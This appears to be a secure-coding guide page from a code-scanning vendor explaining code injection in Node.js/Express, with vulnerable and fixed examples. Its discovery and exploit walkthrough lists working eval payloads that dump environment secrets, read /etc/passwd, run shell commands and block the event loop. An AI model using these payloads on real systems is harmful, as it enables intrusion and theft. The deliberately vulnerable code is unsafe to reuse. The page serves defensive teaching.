Code Injection
Code Injection at a glance
Overview
Code Injection occurs when untrusted data flows into an execution sink like eval, a scripting engine, a powerful expression language, or a template engine that allows code. The input is executed in the application context. This is different from Command Injection which invokes OS commands.
Common sources are query parameters, JSON bodies, headers, uploaded templates, and admin preview tools wired to production.
Where it occurs
It happens when developers use dynamic features to be flexible or to prototype quickly. Loose validation and broad execution capabilities let data cross the line into code.
Impact
Attackers run arbitrary code, read secrets, alter data, and cause heavy work that hurts availability. Since it runs as your app, audit trails get noisy and incident response is harder.
Prevention
Remove dynamic execution on routes that accept user input. Replace with explicit behavior through small allow listed operations. Parse inputs to real types, bound sizes, and enforce strict formats. If you must keep an expression or template engine, disable execution features and restrict to declarative use, with auto escaping and timeouts.
Examples
Switch tabs to view language/framework variants.
Express, evaluates a query string with eval
The route reads ?expr= and passes it to eval, which runs inside the server process.
const express = require('express');
const app = express();
app.get('/calc', (req, res) => {
const expr = req.query.expr;
res.send(String(eval(expr))); // BUG: executes attacker input
});- Line 5: eval executes untrusted input in process context
eval runs attacker controlled code with application privileges. That exposes secrets, data, and availability.
const express = require('express');
const app = express();
const OPS = { add:(a,b)=>a+b, sub:(a,b)=>a-b };
app.get('/calc', (req, res) => {
const { op, a, b } = req.query;
if (!Object.prototype.hasOwnProperty.call(OPS, op)) return res.status(400).send('unsupported');
const A = Number(a), B = Number(b);
if (!Number.isFinite(A) || !Number.isFinite(B)) return res.status(400).send('bad args');
res.send(String(OPS[op](A,B)));
});- Line 3: Fixed, small allow listed operation set
- Line 6: Reject unknown operations with 400
- Line 7: Parse and validate types
Explicit behavior with typed inputs removes dynamic execution and reduces attack surface.
Engineer Checklist
-
No eval, scripting, or expression engines on request paths
-
Keep templates declarative, execution features off, auto escaping on
-
Parse to real types and enforce strict formats and bounds
-
Return 400 for unknown operations or invalid inputs
-
Add lints or CI checks that block dynamic execution APIs
End-to-End Example
A small calculator at GET /calc evaluates a query parameter using a dynamic execution feature. An attacker confirms evaluation with harmless math, then queries process data to learn environment details and degrade performance.
// Node.js/Express - Vulnerable code injection endpoint
app.get('/calc', (req, res) => {
try {
// VULNERABLE: Directly evaluating user input with eval()
// Attacker can send: ?expr=process.env.DATABASE_URL
// or: ?expr=require('fs').readFileSync('/etc/passwd','utf8')
// or: ?expr=require('child_process').execSync('whoami').toString()
const expr = req.query.expr;
const result = eval(expr); // DANGEROUS!
res.send(String(result));
} catch (err) {
// Even the error message can leak sensitive info
res.status(500).send(err.toString());
}
});
// ALSO VULNERABLE: Dynamic template evaluation
app.post('/preview-template', (req, res) => {
// User can upload a template for "preview"
const template = req.body.template;
// VULNERABLE: Evaluating user-supplied template code
// Attacker sends: <%= require('child_process').execSync('cat /etc/passwd') %>
const ejs = require('ejs');
const rendered = ejs.render(template, { user: req.user });
res.send(rendered);
});
// VULNERABLE: JSON-based formula evaluation
app.post('/api/calculate-discount', (req, res) => {
// Client sends: { formula: "price * 0.1" }
// But attacker sends: { formula: "process.exit(1)" }
const formula = req.body.formula;
const price = req.body.price;
// VULNERABLE: Using Function constructor with user input
const calculate = new Function('price', `return ${formula}`);
const discount = calculate(price);
res.json({ discount });
});// Node.js/Express - SECURE implementation without code injection
// Define allowed operations explicitly (whitelist approach)
const ALLOWED_OPERATIONS = {
add: (a, b) => a + b,
subtract: (a, b) => a - b,
multiply: (a, b) => a * b,
divide: (a, b) => b !== 0 ? a / b : null
};
app.get('/calc', (req, res) => {
try {
const { op, a, b } = req.query;
// SECURE: Check operation against whitelist
if (!Object.prototype.hasOwnProperty.call(ALLOWED_OPERATIONS, op)) {
return res.status(400).json({ error: 'Unsupported operation' });
}
// SECURE: Parse and validate inputs as numbers
const numA = Number(a);
const numB = Number(b);
if (!Number.isFinite(numA) || !Number.isFinite(numB)) {
return res.status(400).json({ error: 'Invalid numeric arguments' });
}
// Execute whitelisted operation
const result = ALLOWED_OPERATIONS[op](numA, numB);
if (result === null) {
return res.status(400).json({ error: 'Division by zero' });
}
res.json({ result });
} catch (err) {
res.status(500).json({ error: 'Server error' });
}
});
// SECURE: Static template with no user-controlled code
app.post('/preview-template', (req, res) => {
// Use a predefined template, only allow data substitution
const templateData = {
username: String(req.body.username || ''),
message: String(req.body.message || '')
};
// SECURE: Template is static, only data is dynamic
const staticTemplate = '<h1>Hello <%= username %></h1><p><%= message %></p>';
const ejs = require('ejs');
const rendered = ejs.render(staticTemplate, templateData);
res.send(rendered);
});
// SECURE: Fixed discount logic, no dynamic evaluation
const DISCOUNT_TIERS = {
bronze: 0.05,
silver: 0.10,
gold: 0.15,
platinum: 0.20
};
app.post('/api/calculate-discount', (req, res) => {
const tier = String(req.body.tier || 'bronze');
const price = Number(req.body.price);
// SECURE: Use predefined discount rates
const discountRate = DISCOUNT_TIERS[tier] || 0;
const discount = price * discountRate;
res.json({ discount, tier, rate: discountRate });
});Discovery
This vulnerability is discovered by testing input fields with language-specific expressions or code patterns (like eval, template syntax, or scripting constructs) and observing if the application executes them, revealing dynamic code evaluation vulnerabilities.
-
1. Test basic arithmetic
httpAction
Send a simple mathematical expression to check if the endpoint evaluates dynamic code
Request
GET https://app.example.com/calc?expr=1+2Response
Status: 200Body:{ "result": "3", "note": "Server evaluated '1+2' and returned 3, confirming code execution rather than string handling" }Artifacts
http_response_body -
2. Confirm code execution capability
httpAction
Test with more complex JavaScript-specific syntax to verify eval() or similar is being used
Request
GET https://app.example.com/calc?expr=Math.random()Response
Status: 200Body:{ "result": "0.847293651", "note": "Server executed Math.random() - proves JavaScript code execution, not just math parsing" }Artifacts
http_response_body execution_proof -
3. Test runtime object access
httpAction
Attempt to access Node.js process object to confirm access to runtime internals
Request
GET https://app.example.com/calc?expr=typeof processResponse
Status: 200Body:{ "result": "object", "note": "Access to 'process' object confirmed - arbitrary code execution in Node.js runtime!" }Artifacts
http_response_body runtime_access_proof -
4. Identify information disclosure vectors
httpAction
Test ability to extract environment variables and sensitive configuration
Request
GET https://app.example.com/calc?expr=Object.keys(process.env).lengthResponse
Status: 200Body:{ "result": "47", "note": "Successfully enumerated 47 environment variables - can extract secrets like DATABASE_URL, API_KEY, JWT_SECRET" }Artifacts
http_response_body env_access_proof
Exploit steps
An attacker exploits this by injecting malicious code expressions into user-controlled inputs that are dynamically evaluated, allowing them to execute arbitrary code, access sensitive data, manipulate application state, or achieve remote code execution within the application context.
-
1. Exfiltrate environment variables
Extract secret configuration
httpAction
Use code injection to read environment variables containing API keys, database credentials, and secrets
Request
GET https://app.example.com/calc?expr=process.env.DATABASE_URLResponse
Status: 200Body:{ "result": "postgres://admin:Pr0dP@ssw0rd2024!@db.internal.company.com:5432/production_db", "note": "Database credentials exposed via code injection" }Artifacts
http_response_body database_credentials -
2. Extract additional secrets
Enumerate all environment secrets
httpAction
Retrieve API keys and third-party service credentials from environment
Request
GET https://app.example.com/calc?expr=JSON.stringify(process.env)Response
Status: 200Body:{ "secrets_extracted": { "DATABASE_URL": "postgres://admin:Pr0dP@ssw0rd2024!@db.internal:5432/prod", "AWS_ACCESS_KEY_ID": "AKIAIOSFODNN7EXAMPLE", "AWS_SECRET_ACCESS_KEY": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "STRIPE_API_KEY": "sk_live_51HxYz2eZvKYlo2CyNj8Qp3OjPa...", "JWT_SECRET": "super-secret-jwt-key-do-not-share-2024", "SENDGRID_API_KEY": "SG.xYz123...", "REDIS_URL": "redis://:password@redis.internal:6379", "total_secrets": 47 }, "note": "Full environment dump containing database, AWS, payment gateway, and session secrets" }Artifacts
http_response_body secrets_dump -
3. Execute denial of service
Consume server resources
httpAction
Execute resource-intensive code to degrade application performance and cause timeouts
Request
GET https://app.example.com/calc?expr=while(true){}Response
Status: 503Body:{ "error": "Service Unavailable", "impact": { "event_loop_blocked": true, "cpu_usage": "100%", "affected_users": "all", "legitimate_requests_failing": true, "response_time": "timeout after 30s" }, "note": "Infinite loop blocks Node.js event loop - entire application unresponsive" }Artifacts
error_log monitoring_alert -
4. Demonstrate file system access
Read application source code
httpAction
Use require() to load file system module and read sensitive files
Request
GET https://app.example.com/calc?expr=require('fs').readFileSync('/etc/passwd','utf8')Response
Status: 200Body:{ "file_contents": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\npostgres:x:999:999:PostgreSQL:/var/lib/postgresql:/bin/sh\nnode:x:1000:1000:Node.js user:/home/node:/bin/bash", "next_steps": "Read application.properties, .env, id_rsa, database files", "note": "File system read access confirmed - can exfiltrate source code, configs, keys" }Artifacts
http_response_body file_contents
Specific Impact
Secrets and internal details leak and can be used for lateral movement or targeted exploitation. Under load, abused evaluation paths hurt availability, leading to errors and timeouts for real users.
Fix
There is no dynamic execution. Inputs are parsed to real types and routed through a fixed behavior set. Unknown operations or bad types return clear 4xx responses.
Detect This Vulnerability in Your Code
Sourcery automatically identifies code injection vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free